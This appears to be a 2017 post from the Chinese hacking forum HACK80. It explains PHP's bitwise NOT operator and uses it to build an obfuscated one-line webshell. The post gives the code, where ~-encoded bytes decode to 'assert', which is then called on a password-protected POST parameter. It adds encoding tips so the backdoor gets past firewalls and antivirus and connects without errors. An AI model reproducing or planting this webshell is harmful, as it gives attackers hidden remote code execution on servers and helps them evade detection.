HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术交流

PHP中使用按位取反 (~) 函数创建后门

  •   @w=无名 ·2017-10-21 17:03:41·783 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    PHP ~ 位运算符~ $a        Not(按位取反)        将 $a 中为 0 的位设为 1,反之亦然。
    PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。
    php.ini 中是这样用的:
    E_ALL & ~E_NOTICE
    具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111
    再取得 E_NOTICE 的值: 00000000000000000000000000001000
    然后通过 ~ 将其取反: 11111111111111111111111111110111
    最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111
    分析并重现
    这个就是当时最原始的代码实现效果:
    当看到这个效果的时候最先想到的就是绕过防火墙等后门的实现,之后开始考虑这是哪种编码方式?后来同李普君测试中发现直接使用echo ~’1’;等则会直接输出以上的’乱码’。
    那么我们便可以开始写一句话试试效果了:
    1. <?php
    2. $x=~&#376;&#172;&#172;o-&#171;;
    3. $x($_POST[~11&#207;&#207;&#207;&#207;]);
    4. ?>
    复制代码


    这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来’乱码’后我们再取一次反即可返回正常值。
    关于编码与免杀当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种’乱码’其实为西欧(ISO-8859-15)。实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBK\UTF8...均不能成功使用)





    783 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   293 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-8-22 03:28, Processed in 0.048117 second(s), 18 queries .